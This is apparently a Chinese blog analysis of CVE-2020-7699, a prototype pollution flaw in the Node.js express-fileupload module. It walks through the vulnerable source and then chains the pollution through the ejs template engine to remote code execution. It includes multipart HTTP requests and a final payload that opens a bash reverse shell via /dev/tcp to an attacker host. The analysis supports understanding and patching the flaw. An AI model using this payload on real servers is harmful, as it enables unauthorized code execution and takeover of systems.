CVE-2020-7699漏洞分析

参考链接：

https://blog.p6.is/Real-World-JS-1/

https://xz.aliyun.com/t/7075#toc-3

一、简介

CVE-2020-7699：NodeJS模块代码注入

该漏洞完全是由于Nodejs的express-fileupload模块引起，该模块的1.1.8之前的版本存在原型链污染（Prototype Pollution）漏洞，当然，引发该漏洞，需要一定的配置：parseNested选项设置为true

该漏洞可以引发DOS拒绝服务攻击，配合ejs模板引擎，可以达到RCE的目的

二、漏洞源码分析

如果想要复现的话，需要下载低版本的express-fileupload模块

npm i express-fileupload@1.1.7-alpha.4

引起漏洞的源代码：（关键部分）

busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }
​
    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});

function processNested(data){
    if (!data || data.length < 1) return {};
​
    let d = {},
        keys = Object.keys(data);       //获取键名,列表
​
    for (let i = 0; i < keys.length; i++) {
        let key = keys[i],
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\[/g), '.')
        .replace(new RegExp(/\]/g), '')
        .split('.');
​
        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) 
                    current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k];
            }
        }
    }
​
    return d;
};

其实引发原型链污染处就在于这个porcessNested方法，该函数用法：

例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后，返回的是"{ a: { b: { c: 'm1sn0w' } } }
​
其实他跟那个merge函数比较类似，都是循环调用，因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w

到这里，就比较清楚，只要调用processNested这个函数，并且如果函数的参数可控，便可达到原型链污染的目的。所以，这里就要介绍该漏洞形成的先决条件，parseNested配置选项要设置为true，例如：

const fileUpload = require('express-fileUpload')
var express = require('express')
​
app = express()
app.use(fileUpload({ parseNested: true }))
​
app.get('/',(req,res)=>{
    res.end("m1sn0w")
})

观察最上方第一部分代码，如果parseNested参数为true，则调用processNested函数，且参数是req.body或者req.files

req.body是nodejs解析post请求体，req.files获取上传文件的信息

两种方法都可以。这里先使用req.files参数（后面的RCE会使用到req.body）

关于req.files参数，例如：POST请求上传文件

POST / HTTP/1.1
​
Host: 192.168.0.101:7778
​
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
​
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
​
Accept-Language: en-US,en;q=0.5
​
Accept-Encoding: gzip, deflate
​
Referer: http://192.168.0.101:7778/
​
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
​
Content-Length: 336
​
Connection: close
​
Upgrade-Insecure-Requests: 1
​
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
​
Content-Type: text/plain
​
​
​
aaa
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="username"
​
​
​
​
​
-----------------------------1546646991721295948201928333--

可以观察到req.files的值为：

{ upload:
    { name: 'm1sn0w.txt',
      data: <Buffer 61 61 61 0a>,
      size: 4,
      encoding: '7bit',
      tempFilePath: '',
      truncated: false,
      mimetype: 'text/plain',
      md5:'......'
      mv: [Function: mv]
      }
}

更改上面的upluod参数为

__proto__.toString
那么结果就会变回：
{
    __proto__.toString:{
        ......
    }
}

由于设置了parseNested，会自动调用processNested函数，因此就造成了原型链的污染。

相当于：

{}[__proto__][toString] = { ...... }

当我们再次访问页面时，会返回500的错误（因为toString方法改变了）

三、利用ejs进行RCE

ejs模板引擎存在一个利用原型污染，进行RCE的一个漏洞（这个漏洞暂时还没有修复，可能是因为利用的先决条件是要存在一个原型链污染的点）

先分析一下ejs引发此漏洞的源码：（这里提取出了关键部分）

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
  
    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output;' + '\n';
      this.source = prepended + this.source + appended;
    }
}
​
    src = this.source
​
    ctor = Function
​
    fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);
​
    fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);

可以从下往上进行分析：

1. 调用了fn方法，如果src参数可控，那么就可以自定义该函数；

2. src参数的值来源于this.source

3. 从最上面的方法，this.source = prepended + this.source + appended

其实上面整个函数都是在拼接this.source，最关键的部分在这里：

if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
}

利用的其实是这个：

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

通过全局分析，opts.outputFunctionName最初是并没有赋值的，如果存在原型链污染漏洞的话，我们可以自定义构造这个值，构造payload：

opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x

仔细观察一下，为什么要x;开头x结尾呢？其实是对上面的拼接，构成一个完整的js语句

现在来看一看如何通过上面的原型链污染来利用ejs达到RCE

这里利用的就是req.body而不是req.files

例如，这里构造POST请求：

POST / HTTP/1.1
​
Host: 192.168.0.101:7778
​
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
​
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
​
Accept-Language: en-US,en;q=0.5
​
Accept-Encoding: gzip, deflate
​
Referer: http://192.168.0.101:7778/
​
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
​
Content-Length: 339
​
Connection: close
​
Upgrade-Insecure-Requests: 1
​
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
​
Content-Type: text/plain
​
​
​
aaa
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="username"
​
​
​
123
​
-----------------------------1546646991721295948201928333--
​
​

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为：

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

当我们再次发起请求时，便会在指定的主机反弹回来一个shell，从而达到RCE的目的